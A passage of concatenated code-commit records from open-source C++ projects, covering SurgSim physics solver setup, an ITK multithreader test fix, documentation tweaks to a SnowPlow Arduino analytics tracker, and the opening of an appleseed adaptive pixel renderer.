representation\n\t\tauto oldCollisionRep =\n\t\t\tstd::dynamic_pointer_cast<DeformableCollisionRepresentation>(m_collisionRepresentation);\n\t\tif (oldCollisionRep != nullptr)\n\t\t{\n\t\t\toldCollisionRep->setDeformableRepresentation(nullptr);\n\t\t}\n\n\t\tRepresentation::setCollisionRepresentation(representation);\n\n\t\t\/\/ If its a RigidCollisionRepresentation connect with this representation\n\t\tauto newCollisionRep = std::dynamic_pointer_cast<DeformableCollisionRepresentation>(representation);\n\t\tif (newCollisionRep != nullptr)\n\t\t{\n\t\t\tnewCollisionRep->setDeformableRepresentation(\n\t\t\t\tstd::static_pointer_cast<DeformableRepresentation>(getSharedPtr()));\n\t\t}\n\t}\n}\n\nbool DeformableRepresentation::doWakeUp()\n{\n\tusing SurgSim::Math::OdeSolverEulerExplicit;\n\tusing SurgSim::Math::OdeSolverEulerExplicitModified;\n\tusing SurgSim::Math::OdeSolverEulerImplicit;\n\tusing SurgSim::Math::OdeSolverRungeKutta4;\n\tusing SurgSim::Math::OdeSolverStatic;\n\tusing SurgSim::Math::OdeSolverLinearEulerExplicit;\n\tusing SurgSim::Math::OdeSolverLinearEulerExplicitModified;\n\tusing SurgSim::Math::OdeSolverLinearEulerImplicit;\n\tusing SurgSim::Math::OdeSolverLinearRungeKutta4;\n\tusing SurgSim::Math::OdeSolverLinearStatic;\n\n\tusing SurgSim::Math::LinearSolveAndInverseDenseMatrix;\n\n\t\/\/ Transform the state with the initial pose\n\ttransformState(m_initialState, getPose());\n\t*m_previousState = *m_initialState;\n\t*m_currentState = *m_initialState;\n\t*m_newState = *m_initialState;\n\t*m_finalState = *m_initialState;\n\n\t\/\/ Since the pose is now embedded in the state, reset element and local pose to identity.\n\tsetLocalPose(SurgSim::Math::RigidTransform3d::Identity());\n\tstd::shared_ptr<SurgSim::Framework::SceneElement> sceneElement = getSceneElement();\n\tif (sceneElement != nullptr)\n\t{\n\t\tsceneElement->setPose(SurgSim::Math::RigidTransform3d::Identity());\n\t}\n\n\t\/\/ Set the ode solver using the chosen integration scheme\n\tswitch (m_integrationScheme)\n\t{\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_EXPLICIT_EULER:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverEulerExplicit>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_MODIFIED_EXPLICIT_EULER:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverEulerExplicitModified>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_IMPLICIT_EULER:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverEulerImplicit>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_STATIC:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverStatic>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_RUNGE_KUTTA_4:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverRungeKutta4>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_LINEAR_EXPLICIT_EULER:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverLinearEulerExplicit>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_LINEAR_MODIFIED_EXPLICIT_EULER:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverLinearEulerExplicitModified>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_LINEAR_IMPLICIT_EULER:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverLinearEulerImplicit>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_LINEAR_STATIC:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverLinearStatic>(this);\n\t\t\tbreak;\n\t\tcase SurgSim::Math::INTEGRATIONSCHEME_LINEAR_RUNGE_KUTTA_4:\n\t\t\tm_odeSolver = std::make_shared<OdeSolverLinearRungeKutta4>(this);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tSURGSIM_LOG_WARNING(SurgSim::Framework::Logger::getDefaultLogger())\n\t\t\t\t\t<< \"Ode solver (integration scheme) not initialized, the integration scheme is invalid\";\n\t\t\treturn false;\n\t}\n\n\t\/\/ No assumption is made on the linear solver, we instantiate a general dense matrix solver\n\tm_odeSolver->setLinearSolver(std::make_shared<LinearSolveAndInverseDenseMatrix>());\n\n\treturn true;\n}\n\n}; \/\/ namespace Physics\n\n}; \/\/ namespace SurgSim\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: itkMultiThreaderTest.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) Insight Software Consortium. All rights reserved.\n See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#if defined(_MSC_VER)\n#pragma warning ( disable : 4786 )\n#endif\n\n#include \"itkConfigure.h\"\n#include \"itkMultiThreader.h\"\n\n\nint itkMultiThreaderTest(int argc, char* argv[])\n{\n \/\/ Choose a number of threads.\n int numberOfThreads = 10;\n if( argc > 1 )\n {\n const int nt = atoi( argv[1] );\n if(nt > 1)\n {\n numberOfThreads = nt;\n }\n }\n\n itk::MultiThreader::Pointer threader = itk::MultiThreader::New();\n\n itk::MultiThreader::SetGlobalDefaultNumberOfThreads( numberOfThreads );\n\n\n}\n\nnamespace itkMultiThreaderTestHelpers\n{\n\nvoid ThreadedMethod()\n{\n\n#ifdef ITK_USE_PTHREADS\n\/\/ ThreadProcessIDType threadId = pthread_self();\n#endif\n\n#ifdef ITK_USE_WIN32_THREADS\n\/\/ ThreadProcessIDType threadId = GetCurrentThread();\n#endif\n\n#ifdef ITK_USE_SPROC\n\/\/ const ThreadProcessIDType threadId = GetCurrentThread() ??;\n#endif\n\n}\n\n\n} \/\/ end of itkMultiThreaderTestHelpers\n<commit_msg>ENH: Adding default return value of EXIT_SUCCESS.<commit_after>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: itkMultiThreaderTest.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) Insight Software Consortium. All rights reserved.\n See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#if defined(_MSC_VER)\n#pragma warning ( disable : 4786 )\n#endif\n\n#include \"itkConfigure.h\"\n#include \"itkMultiThreader.h\"\n\n\nint itkMultiThreaderTest(int argc, char* argv[])\n{\n \/\/ Choose a number of threads.\n int numberOfThreads = 10;\n if( argc > 1 )\n {\n const int nt = atoi( argv[1] );\n if(nt > 1)\n {\n numberOfThreads = nt;\n }\n }\n\n itk::MultiThreader::Pointer threader = itk::MultiThreader::New();\n\n itk::MultiThreader::SetGlobalDefaultNumberOfThreads( numberOfThreads );\n\n return EXIT_SUCCESS;\n}\n\nnamespace itkMultiThreaderTestHelpers\n{\n\nvoid ThreadedMethod()\n{\n\n#ifdef ITK_USE_PTHREADS\n\/\/ ThreadProcessIDType threadId = pthread_self();\n#endif\n\n#ifdef ITK_USE_WIN32_THREADS\n\/\/ ThreadProcessIDType threadId = GetCurrentThread();\n#endif\n\n#ifdef ITK_USE_SPROC\n\/\/ const ThreadProcessIDType threadId = GetCurrentThread() ??;\n#endif\n\n}\n\n\n} \/\/ end of itkMultiThreaderTestHelpers\n<|endoftext|>"} {"text":"<commit_before>\/* \n * SnowPlow Arduino Tracker\n *\n * @description Arduino tracker for SnowPlow\n * @version 0.0.1\n * @author Alex Dean\n * @copyright SnowPlow Analytics Ltd\n * @license Apache License Version 2.0\n *\n * Copyright (c) 2012 SnowPlow Analytics Ltd. All rights reserved.\n *\n * This program is licensed to you under the Apache License Version 2.0,\n * and you may not use this file except in compliance with the Apache License Version 2.0.\n * You may obtain a copy of the Apache License Version 2.0 at http:\/\/www.apache.org\/licenses\/LICENSE-2.0.\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the Apache License Version 2.0 is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the Apache License Version 2.0 for the specific language governing permissions and limitations there under.\n *\/\n\n#include <stdlib.h>\n#include <SPI.h>\n#include \"SnowPlowTracker.h\"\n#include <Ethernet.h>\n#include <EthernetClient.h>\n\n#define LOGGING\n\n\/\/ Initialize constants\nconst String SnowPlowTracker::kUserAgent = \"Arduino\/2.0\";\nconst String SnowPlowTracker::kVersion = \"arduino-0.1.0\";\n\n\/**\n * Constructor for SnowPlow class.\n *\n * @param aEthernet Pointer to the\n * EthernetClass (initialised\n * outside of this library)\n * @param aMac The MAC address of the\n * Arduino's WiFi or Ethernet\n * Shield\n * @param aAppId The SnowPlow application\n * ID\n **\/\nSnowPlowTracker::SnowPlowTracker(EthernetClass *aEthernet, const byte* aMac, const String aAppId) { \n this->ethernet = aEthernet;\n this->mac = (byte*)aMac;\n this->appId = aAppId;\n}\n\n\/**\n * Initializes the SnowPlow tracker to\n * talk to a collector hosted on\n * CloudFront.\n *\n * @param aCfSubdomain The subdomain\n * of the CloudFront collector\n * e.g. \"d3rkrsqgmqf\"\n *\/\nvoid SnowPlowTracker::initCf(const String aCfSubdomain) {\n const String host = aCfSubdomain + String(\".cloudfront.net\");\n this->init(host);\n}\n\n\/**\n * Initializes the SnowPlow tracker\n * to speak to a URL-based (self-\n * hosted) collector.\n *\n * @param aHost The hostname of the\n * URL hosting the collector\n * e.g. tracking.mysite.com\n *\/\nvoid SnowPlowTracker::initUrl(const String aHost) {\n this->init(aHost);\n}\n\n\/**\n * Sets the User Id for this Arduino.\n * Overrides the default User Id, which\n * is the Arduino's MAC address.\n *\n * @param @aUserId The new User Id\n *\/\nvoid SnowPlowTracker::setUserId(String aUserId) {\n this->userId = aUserId;\n\n#ifdef LOGGING\n Serial.print(\"SnowPlow User Id updated to: \");\n Serial.println(this->userId);\n#endif\n}\n\n\/**\n * Tracks a structured event to a\n * SnowPlow collector: version\n * where the value field is an int.\n *\n * @param aCategory The name you supply for\n * the group of objects you want to track\n * @param aAction A string that is uniquely\n * paired with each category, and commonly\n * used to define the type of user\n * interaction for the web object\n * @param aLabel An optional string\n * to provide additional dimensions to the\n * event data\n * @param aProperty An optional string\n * describing the object or the action\n * performed on it. This might be the\n * quantity of an item added to basket\n * @param aValue An integer value that\n * you can use to provide numerical data\n * about the user event\n * @return An integer indicating the success\/failure\n * of logging the event to SnowPlow\n *\/ \nint SnowPlowTracker::trackEvent(\n const String aCategory,\n const String aAction,\n const String aLabel,\n const String aProperty,\n const int aValue) const {\n\n \/\/ Cast aValue to String and call appropriate trackEvent\n trackEvent(aCategory, aAction, aLabel, aProperty, String(aValue));\n}\n\n\/**\n * Tracks a structured event to a\n * SnowPlow collector: version\n * where the value field is a float.\n *\n * @param aCategory The name you supply for\n * the group of objects you want to track\n * @param aAction A string that is uniquely\n * paired with each category, and commonly\n * used to define the type of user\n * interaction for the web object\n * @param aLabel An optional string\n * to provide additional dimensions to the\n * event data\n * @param aProperty An optional string\n * describing the object or the action\n * performed on it. This might be the\n * quantity of an item added to basket\n * @param aValue A double value that\n * you can use to provide numerical data\n * about the user event\n * @param aValuePrecision How many digits to keep\n * after the decimal sign\n * @return An integer indicating the success\/failure\n * of logging the event to SnowPlow\n *\/\nint SnowPlowTracker::trackEvent(\n const String aCategory,\n const String aAction,\n const String aLabel,\n const String aProperty,\n const double aValue,\n const int aValuePrecision) const {\n\n \/\/ Cast aValue to String and call appropriate trackEvent\n trackEvent(aCategory, aAction, aLabel, aProperty, double2String(aValue, aValuePrecision));\n}\n\n\/**\n * Tracks a structured event to a\n * SnowPlow collector: version\n * where the value field is a float.\n *\n * @param aCategory The name you supply for\n * the group of objects you want to track\n * @param aAction A string that is uniquely\n * paired with each category, and commonly\n * used to define the type of user\n * interaction for the web object\n * @param aLabel An optional string\n * to provide additional dimensions to the\n * event data\n * @param aProperty An optional string\n * describing the object or the action\n * performed on it. This might be the\n * quantity of an item added to basket\n * @param aValue A float value that\n * you can use to provide numerical data\n * about the user event\n * @param aValuePrecision How many digits to keep\n * after the decimal sign\n * @return An integer indicating the success\/failure\n * of logging the event to SnowPlow\n *\/\nint SnowPlowTracker::trackEvent(\n const String aCategory,\n const String aAction,\n const String aLabel,\n const String aProperty,\n const float aValue,\n const int aValuePrecision) const {\n\n \/\/ Cast aValue to String and call appropriate trackEvent\n trackEvent(aCategory, aAction, aLabel, aProperty, double2String(aValue, aValuePrecision));\n}\n\n\/**\n * Tracks a structured event to a\n * SnowPlow collector: version\n * where the value field is a String.\n *\n * @param aCategory The name you supply for\n * the group of objects you want to track\n * @param aAction A string that is uniquely\n * paired with each category, and commonly\n * used to define the type of user\n * interaction for the web object\n * @param aLabel An optional string\n * to provide additional dimensions to the\n * event data\n * @param aProperty An optional string\n * describing the object or the action\n * performed on it. This might be the\n * quantity of an item added to basket\n * @param aValue A String value that\n * you can use to provide non-numerical data\n * about the user event\n * @return An integer indicating the success\/failure\n * of logging the event to SnowPlow\n *\/ \nint SnowPlowTracker::trackEvent(\n const String aCategory,\n const String aAction,\n const String aLabel,\n const String aProperty,\n const String aValue) const {\n\n#ifdef LOGGING\n Serial.println(\"Tracking event!\");\n#endif\n\n return SnowPlowTracker::SUCCESS;\n}\n\n\/**\n * Common initialization, called by\n * both initCf and initUrl.\n *\n * @param aHost The hostname of the\n * URL hosting the collector\n * e.g. tracking.mysite.com\n * or d3rkrsqgmqf.cloudfront.net\n *\/\nvoid SnowPlowTracker::init(const String aHost) {\n\n \/\/ Set collectorHost and userId\n this->collectorHost = aHost;\n this->userId = mac2String(this->mac);\n\n \/\/ Boot the Ethernet connection\n this->ethernet->begin((byte*)this->mac);\n delay(1000); \/\/ Wait 1 sec\n this->client = new EthernetClient();\n\n#ifdef LOGGING\n Serial.print(\"SnowPlowTracker initialized with collector host: \");\n Serial.println(this->collectorHost);\n#endif\n}\n\n\/**\n * Converts a MAC address byte array\n * into a String. Generated String is\n * of the format: \"00:01:0A:2E:05:0B\"\n *\n * @param aMac The MAC address, in bytes,\n * to convert\n * @return the MAC address as a String\n *\/\nString SnowPlowTracker::mac2String(const byte* aMac) {\n const int macLength = 6;\n String buffer = String();\n for (int i = 0; i < macLength; i++) {\n buffer += String(aMac[i], HEX);\n if (i < macLength - 1) {\n buffer += \":\";\n }\n }\n return buffer;\n}\n\n\/**\n * Converts a double (or a float)\n * into a String. Generated String is\n * 1 or more characters long, with the\n * number of digits after the decimal\n * point specified by `aPrecision`.\n *\n * @param aDbl The double (or float) to\n * convert into a String\n * @return the converted String\n *\/\nString SnowPlowTracker::double2String(const double aDouble, const int aPrecision) {\n char buffer[25];\n dtostrf(aDouble, 1, aPrecision, buffer);\n return String(buffer);\n}\n\n\/*\n\nint SnowPlowTracker::trackEvent(const String category, const String action, const String label, const String property, const float value) const {\n \/\/ TODO: fix this crap.\n char rxdata[150];\n int ret = 0;\n int stringPos = 0;\n boolean DataRx = false;\n boolean RxLoop = true;\n char c;\n unsigned long timeout_time = 0;\n unsigned long time_now = 0;\n unsigned long timeout = 3000; \/\/ 3 seconds\n String myDataString = \"\"; \/\/ Allocate for actual data sent\n\n if (client->connect(serverName,80)) {\n if (client->connected()) {\n\n client->println(\"GET \/i HTTP\/1.1\");\n\n client->print(\"Host: \");\n client->println(this->collectorUrl);\n\n client->print(\"User-Agent: \");\n client->println(kUserAgent);\n\n client->println();\n\n \n \/\/ TODO: check if we need more headers.\n\n \/\/ Read from the nic\n \/\/\n timeout_time = millis()+ timeout; \n while ((timeout_time > time_now) && RxLoop) { \n if (client->available()) {\n if (!DataRx)\n DataRx= true; \n c = client->read();\n rxdata[stringPos] = c; \n stringPos += 1;\n } else {\n rxdata[stringPos] = 0;\n\n if (DataRx) {\n DataRx= false;\n RxLoop = false;\n\n ret=1;\n }\n }\/\/else\n time_now = millis();\n }\/\/ while ((timeout_time > time_now) && RxLoop) {\n\n client->stop();\n }\n }\/\/ if (client->connect(serverName,80)) {\n \n \/\/ Return updated status code\n return ret;\n}\n\n*\/<commit_msg>Doco tweak<commit_after>\/* \n * SnowPlow Arduino Tracker\n *\n * @description Arduino tracker for SnowPlow\n * @version 0.0.1\n * @author Alex Dean\n * @copyright SnowPlow Analytics Ltd\n * @license Apache License Version 2.0\n *\n * Copyright (c) 2012 SnowPlow Analytics Ltd. All rights reserved.\n *\n * This program is licensed to you under the Apache License Version 2.0,\n * and you may not use this file except in compliance with the Apache License Version 2.0.\n * You may obtain a copy of the Apache License Version 2.0 at http:\/\/www.apache.org\/licenses\/LICENSE-2.0.\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the Apache License Version 2.0 is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the Apache License Version 2.0 for the specific language governing permissions and limitations there under.\n *\/\n\n#include <stdlib.h>\n#include <SPI.h>\n#include \"SnowPlowTracker.h\"\n#include <Ethernet.h>\n#include <EthernetClient.h>\n\n#define LOGGING\n\n\/\/ Initialize constants\nconst String SnowPlowTracker::kUserAgent = \"Arduino\/2.0\";\nconst String SnowPlowTracker::kVersion = \"arduino-0.1.0\";\n\n\/**\n * Constructor for the SnowPlowTracker\n * class.\n *\n * @param aEthernet Pointer to the\n * EthernetClass (initialised\n * outside of this library)\n * @param aMac The MAC address of the\n * Arduino's WiFi or Ethernet\n * Shield\n * @param aAppId The SnowPlow application\n * ID\n **\/\nSnowPlowTracker::SnowPlowTracker(EthernetClass *aEthernet, const byte* aMac, const String aAppId) { \n this->ethernet = aEthernet;\n this->mac = (byte*)aMac;\n this->appId = aAppId;\n}\n\n\/**\n * Initializes the SnowPlow tracker to\n * talk to a collector hosted on\n * CloudFront.\n *\n * @param aCfSubdomain The subdomain\n * of the CloudFront collector\n * e.g. \"d3rkrsqgmqf\"\n *\/\nvoid SnowPlowTracker::initCf(const String aCfSubdomain) {\n const String host = aCfSubdomain + String(\".cloudfront.net\");\n this->init(host);\n}\n\n\/**\n * Initializes the SnowPlow tracker\n * to speak to a URL-based (self-\n * hosted) collector.\n *\n * @param aHost The hostname of the\n * URL hosting the collector\n * e.g. tracking.mysite.com\n *\/\nvoid SnowPlowTracker::initUrl(const String aHost) {\n this->init(aHost);\n}\n\n\/**\n * Sets the User Id for this Arduino.\n * Overrides the default User Id, which\n * is the Arduino's MAC address.\n *\n * @param @aUserId The new User Id\n *\/\nvoid SnowPlowTracker::setUserId(String aUserId) {\n this->userId = aUserId;\n\n#ifdef LOGGING\n Serial.print(\"SnowPlow User Id updated to: \");\n Serial.println(this->userId);\n#endif\n}\n\n\/**\n * Tracks a structured event to a\n * SnowPlow collector: version\n * where the value field is an int.\n *\n * @param aCategory The name you supply for\n * the group of objects you want to track\n * @param aAction A string that is uniquely\n * paired with each category, and commonly\n * used to define the type of user\n * interaction for the web object\n * @param aLabel An optional string\n * to provide additional dimensions to the\n * event data\n * @param aProperty An optional string\n * describing the object or the action\n * performed on it. This might be the\n * quantity of an item added to basket\n * @param aValue An integer value that\n * you can use to provide numerical data\n * about the user event\n * @return An integer indicating the success\/failure\n * of logging the event to SnowPlow\n *\/ \nint SnowPlowTracker::trackEvent(\n const String aCategory,\n const String aAction,\n const String aLabel,\n const String aProperty,\n const int aValue) const {\n\n \/\/ Cast aValue to String and call appropriate trackEvent\n trackEvent(aCategory, aAction, aLabel, aProperty, String(aValue));\n}\n\n\/**\n * Tracks a structured event to a\n * SnowPlow collector: version\n * where the value field is a float.\n *\n * @param aCategory The name you supply for\n * the group of objects you want to track\n * @param aAction A string that is uniquely\n * paired with each category, and commonly\n * used to define the type of user\n * interaction for the web object\n * @param aLabel An optional string\n * to provide additional dimensions to the\n * event data\n * @param aProperty An optional string\n * describing the object or the action\n * performed on it. This might be the\n * quantity of an item added to basket\n * @param aValue A double value that\n * you can use to provide numerical data\n * about the user event\n * @param aValuePrecision How many digits to keep\n * after the decimal sign\n * @return An integer indicating the success\/failure\n * of logging the event to SnowPlow\n *\/\nint SnowPlowTracker::trackEvent(\n const String aCategory,\n const String aAction,\n const String aLabel,\n const String aProperty,\n const double aValue,\n const int aValuePrecision) const {\n\n \/\/ Cast aValue to String and call appropriate trackEvent\n trackEvent(aCategory, aAction, aLabel, aProperty, double2String(aValue, aValuePrecision));\n}\n\n\/**\n * Tracks a structured event to a\n * SnowPlow collector: version\n * where the value field is a float.\n *\n * @param aCategory The name you supply for\n * the group of objects you want to track\n * @param aAction A string that is uniquely\n * paired with each category, and commonly\n * used to define the type of user\n * interaction for the web object\n * @param aLabel An optional string\n * to provide additional dimensions to the\n * event data\n * @param aProperty An optional string\n * describing the object or the action\n * performed on it. This might be the\n * quantity of an item added to basket\n * @param aValue A float value that\n * you can use to provide numerical data\n * about the user event\n * @param aValuePrecision How many digits to keep\n * after the decimal sign\n * @return An integer indicating the success\/failure\n * of logging the event to SnowPlow\n *\/\nint SnowPlowTracker::trackEvent(\n const String aCategory,\n const String aAction,\n const String aLabel,\n const String aProperty,\n const float aValue,\n const int aValuePrecision) const {\n\n \/\/ Cast aValue to String and call appropriate trackEvent\n trackEvent(aCategory, aAction, aLabel, aProperty, double2String(aValue, aValuePrecision));\n}\n\n\/**\n * Tracks a structured event to a\n * SnowPlow collector: version\n * where the value field is a String.\n *\n * @param aCategory The name you supply for\n * the group of objects you want to track\n * @param aAction A string that is uniquely\n * paired with each category, and commonly\n * used to define the type of user\n * interaction for the web object\n * @param aLabel An optional string\n * to provide additional dimensions to the\n * event data\n * @param aProperty An optional string\n * describing the object or the action\n * performed on it. This might be the\n * quantity of an item added to basket\n * @param aValue A String value that\n * you can use to provide non-numerical data\n * about the user event\n * @return An integer indicating the success\/failure\n * of logging the event to SnowPlow\n *\/ \nint SnowPlowTracker::trackEvent(\n const String aCategory,\n const String aAction,\n const String aLabel,\n const String aProperty,\n const String aValue) const {\n\n#ifdef LOGGING\n Serial.println(\"Tracking event!\");\n#endif\n\n return SnowPlowTracker::SUCCESS;\n}\n\n\/**\n * Common initialization, called by\n * both initCf and initUrl.\n *\n * @param aHost The hostname of the\n * URL hosting the collector\n * e.g. tracking.mysite.com\n * or d3rkrsqgmqf.cloudfront.net\n *\/\nvoid SnowPlowTracker::init(const String aHost) {\n\n \/\/ Set collectorHost and userId\n this->collectorHost = aHost;\n this->userId = mac2String(this->mac);\n\n \/\/ Boot the Ethernet connection\n this->ethernet->begin((byte*)this->mac);\n delay(1000); \/\/ Wait 1 sec\n this->client = new EthernetClient();\n\n#ifdef LOGGING\n Serial.print(\"SnowPlowTracker initialized with collector host: \");\n Serial.println(this->collectorHost);\n#endif\n}\n\n\/**\n * Converts a MAC address byte array\n * into a String. Generated String is\n * of the format: \"00:01:0A:2E:05:0B\"\n *\n * @param aMac The MAC address, in bytes,\n * to convert\n * @return the MAC address as a String\n *\/\nString SnowPlowTracker::mac2String(const byte* aMac) {\n const int macLength = 6;\n String buffer = String();\n for (int i = 0; i < macLength; i++) {\n buffer += String(aMac[i], HEX);\n if (i < macLength - 1) {\n buffer += \":\";\n }\n }\n return buffer;\n}\n\n\/**\n * Converts a double (or a float)\n * into a String. Generated String is\n * 1 or more characters long, with the\n * number of digits after the decimal\n * point specified by `aPrecision`.\n *\n * @param aDbl The double (or float) to\n * convert into a String\n * @return the converted String\n *\/\nString SnowPlowTracker::double2String(const double aDouble, const int aPrecision) {\n char buffer[25];\n dtostrf(aDouble, 1, aPrecision, buffer);\n return String(buffer);\n}\n\n\/*\n\nint SnowPlowTracker::trackEvent(const String category, const String action, const String label, const String property, const float value) const {\n \/\/ TODO: fix this crap.\n char rxdata[150];\n int ret = 0;\n int stringPos = 0;\n boolean DataRx = false;\n boolean RxLoop = true;\n char c;\n unsigned long timeout_time = 0;\n unsigned long time_now = 0;\n unsigned long timeout = 3000; \/\/ 3 seconds\n String myDataString = \"\"; \/\/ Allocate for actual data sent\n\n if (client->connect(serverName,80)) {\n if (client->connected()) {\n\n client->println(\"GET \/i HTTP\/1.1\");\n\n client->print(\"Host: \");\n client->println(this->collectorUrl);\n\n client->print(\"User-Agent: \");\n client->println(kUserAgent);\n\n client->println();\n\n \n \/\/ TODO: check if we need more headers.\n\n \/\/ Read from the nic\n \/\/\n timeout_time = millis()+ timeout; \n while ((timeout_time > time_now) && RxLoop) { \n if (client->available()) {\n if (!DataRx)\n DataRx= true; \n c = client->read();\n rxdata[stringPos] = c; \n stringPos += 1;\n } else {\n rxdata[stringPos] = 0;\n\n if (DataRx) {\n DataRx= false;\n RxLoop = false;\n\n ret=1;\n }\n }\/\/else\n time_now = millis();\n }\/\/ while ((timeout_time > time_now) && RxLoop) {\n\n client->stop();\n }\n }\/\/ if (client->connect(serverName,80)) {\n \n \/\/ Return updated status code\n return ret;\n}\n\n*\/\n<|endoftext|>"} {"text":"<commit_before>\n\/\/\n\/\/ This source file is part of appleseed.\n\/\/ Visit http:\/\/appleseedhq.net\/ for additional information and resources.\n\/\/\n\/\/ This software is released under the MIT license.\n\/\/\n\/\/ Copyright (c) 2010-2013 Francois Beaune, Jupiter Jazz Limited\n\/\/ Copyright (c) 2014-2017 Francois Beaune, The appleseedhq Organization\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\/\/ Interface header.\n#include \"adaptivepixelrenderer.h\"\n\n\/\/ appleseed.renderer headers.\n#include \"renderer\/global\/globallogger.h\"\n#include \"renderer\/global\/globaltypes.h\"\n#include \"renderer\/kernel\/aov\/aovsettings.h\"\n#include \"renderer\/kernel\/aov\/imagestack.h\"\n#include \"renderer\/kernel\/aov\/tilestack.h\"\n#include \"renderer\/kernel\/rendering\/final\/variationtracker.h\"\n#include \"renderer\/kernel\/rendering\/isamplerenderer.h\"\n#include \"renderer\/kernel\/rendering\/pixelcontext.h\"\n#include \"renderer\/kernel\/rendering\/pixelrendererbase.h\"\n#include \"renderer\/kernel\/rendering\/shadingresultframebuffer.h\"\n#include \"renderer\/kernel\/shading\/shadingfragment.h\"\n#include \"renderer\/kernel\/shading\/shadingresult.h\"\n#include \"renderer\/modeling\/frame\/frame.h\"\n#include \"renderer\/utility\/settingsparsing.h\"\n\n\/\/ appleseed.foundation headers.\n#include \"foundation\/image\/color.h\"\n#include \"foundation\/image\/image.h\"\n#include \"foundation\/image\/tile.h\"\n#include \"foundation\/math\/aabb.h\"\n#include \"foundation\/math\/hash.h\"\n#include \"foundation\/math\/minmax.h\"\n#include \"foundation\/math\/scalar.h\"\n#include \"foundation\/math\/vector.h\"\n#include \"foundation\/platform\/types.h\"\n#include \"foundation\/utility\/autoreleaseptr.h\"\n#include \"foundation\/utility\/containers\/dictionary.h\"\n#include \"foundation\/utility\/statistics.h\"\n\n\/\/ Standard headers.\n#include <algorithm>\n#include <cassert>\n#include <cmath>\n#include <memory>\n\nusing namespace foundation;\nusing namespace std;\n\nnamespace renderer\n{\n\nnamespace\n{\n \/\/\n \/\/ Adaptive pixel renderer.\n \/\/\n\n class AdaptivePixelRenderer\n : public PixelRendererBase\n {\n public:\n AdaptivePixelRenderer(\n const Frame& frame,\n ISampleRendererFactory* factory,\n const ParamArray& params,\n const size_t thread_index)\n : m_params(params)\n , m_sample_renderer(factory->create(thread_index))\n {\n if (m_params.m_diagnostics)\n {\n ImageStack& images = frame.aov_images();\n\n m_variation_aov_index = images.get_index(\"variation\");\n if (m_variation_aov_index == size_t(~0) && images.size() < MaxAOVCount)\n m_variation_aov_index = images.append(\"variation\", ImageStack::IdentificationType, 4, PixelFormatFloat);\n\n m_samples_aov_index = images.get_index(\"samples\");\n if (m_samples_aov_index == size_t(~0) && images.size() < MaxAOVCount)\n m_samples_aov_index = images.append(\"samples\", ImageStack::IdentificationType, 4, PixelFormatFloat);\n\n if ((thread_index == 0) && (m_variation_aov_index == size_t(~0) || m_samples_aov_index == size_t(~0)))\n {\n RENDERER_LOG_WARNING(\n \"could not create some of the diagnostic AOVs, maximum number of AOVs (\" FMT_SIZE_T \") reached.\",\n MaxAOVCount);\n }\n }\n }\n\n virtual void release() APPLESEED_OVERRIDE\n {\n delete this;\n }\n\n virtual void on_tile_begin(\n const Frame& 